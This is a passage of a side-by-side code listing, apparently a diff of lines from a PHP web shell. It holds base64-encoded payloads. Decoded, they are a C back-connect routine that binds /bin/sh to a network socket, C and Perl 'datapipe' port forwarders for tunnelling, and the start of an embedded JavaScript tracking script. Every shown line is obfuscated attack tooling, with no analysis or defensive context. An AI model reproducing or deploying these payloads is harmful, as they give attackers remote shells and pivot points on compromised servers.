| 1349 | QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp | 1349 | QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp |
| 1350 | Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; | 1350 | Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; |
| 1351 | $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 | 1351 | $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 |
| 1352 | x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb | 1352 | x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb |
| 1353 | HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj | 1353 | HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj |
| 1354 | aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ | 1354 | aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ |
| 1355 | lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm | 1355 | lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm |
| 1356 | xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga | 1356 | xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga |
| 1357 | W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy | 1357 | W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy |
| 1358 | LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV | 1358 | LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV |
| 1359 | udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow | 1359 | udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow |
| 1360 | 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb | 1360 | 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb |
| 1361 | iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l | 1361 | iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l |
| 1362 | KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA | 1362 | KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA |
| 1363 | gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS | 1363 | gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS |
| 1364 | hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC | 1364 | hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC |
| 1365 | iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh | 1365 | iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh |
| 1366 | ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ | 1366 | ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ |
| 1367 | vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC | 1367 | vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC |
| 1368 | AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D | 1368 | AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D |
| 1369 | QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh | 1369 | QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh |
| 1370 | ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 | 1370 | ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 |
| 1371 | gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay | 1371 | gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay |
| 1372 | wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c | 1372 | wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c |
| 1373 | 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy | 1373 | 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy |
| 1374 | MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA | 1374 | MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA |
| 1375 | gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci | 1375 | gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci |
| 1376 | 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ | 1376 | 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ |
| 1377 | HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu | 1377 | HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu |
| 1378 | dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 | 1378 | dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 |
| 1379 | KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC | 1379 | KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC |
| 1380 | ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI | 1380 | ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI |
| 1381 | E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp | 1381 | E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp |
| 1382 | Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs | 1382 | Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs |
| 1383 | NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG | 1383 | NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG |
| 1384 | J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL | 1384 | J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL |
| 1385 | CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp | 1385 | CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp |
| 1386 | dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo | 1386 | dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo |
| 1387 | gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm | 1387 | gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm |
| 1388 | lsZSk7DQogIHJldHVybiAwOw0KfQ=="; | 1388 | lsZSk7DQogIHJldHVybiAwOw0KfQ=="; |
| 1389 | $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I | 1389 | $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I |
| 1390 | CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl | 1390 | CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl |
| 1391 | bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU | 1391 | bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU |
| 1392 | gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol | 1392 | gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol |
| 1393 | NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC | 1393 | NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC |
| 1394 | iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy | 1394 | iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy |
| 1395 | aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ | 1395 | aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ |
| 1396 | SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 | 1396 | SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 |
| 1397 | xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ | 1397 | xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ |
| 1398 | WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN | 1398 | WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN |
| 1399 | CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 | 1399 | CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 |
| 1400 | yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi | 1400 | yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi |
| 1401 | I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc | 1401 | I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc |
| 1402 | m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp | 1402 | m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp |
| 1403 | IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ | 1403 | IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ |
| 1404 | lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW | 1404 | lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW |
| 1405 | QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK | 1405 | QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK |
| 1406 | CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g | 1406 | CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g |
| 1407 | c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 | 1407 | c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 |
| 1408 | NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG | 1408 | NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG |
| 1409 | UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I | 1409 | UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I |
| 1410 | DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs | 1410 | DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs |
| 1411 | ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J | 1411 | ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J |
| 1412 | 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; | 1412 | 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; |
| 1413 | $c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 | 1413 | $c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 |
